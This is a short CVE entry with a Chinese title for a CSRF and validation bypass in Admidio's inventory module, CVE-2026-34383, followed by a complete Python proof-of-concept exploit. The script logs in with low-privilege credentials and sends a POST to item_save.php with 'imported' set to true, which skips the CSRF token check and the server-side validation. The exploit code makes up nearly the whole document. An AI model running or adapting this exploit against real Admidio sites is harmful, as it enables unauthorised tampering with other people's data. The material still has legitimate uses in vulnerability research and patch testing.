CVE-2026-34383: Admidio CSRF及验证绕过漏洞

import requests # Target URL configuration target_url = "http://example.com/admidio/adm_program/modules/inventory/item_save.php" login_url = "http://example.com/admidio/adm_program/system/login.php" # Attacker's credentials (low privilege) credentials = { "usr_login": "attacker", "usr_password": "password123" } session = requests.Session() # Step 1: Authenticate to get a valid session cookie # The vulnerability requires an authenticated user (PR:L) login_resp = session.post(login_url, data=credentials) if login_resp.status_code != 200: print("Login failed") exit(1) # Step 2: Exploit the vulnerability by setting 'imported' to true # This bypasses CSRF token check and server-side validation payload = { "item_name": "Malicious Item", "item_quantity": 99999, # Invalid value that would normally be rejected "imported": "true" # The key parameter to trigger the bypass } exploit_resp = session.post(target_url, data=payload) # Check if the arbitrary data was saved if exploit_resp.status_code == 200 and "success" in exploit_resp.text: print("[+] Exploit successful! Arbitrary data saved bypassing validation.") else: print("[-] Exploit failed.")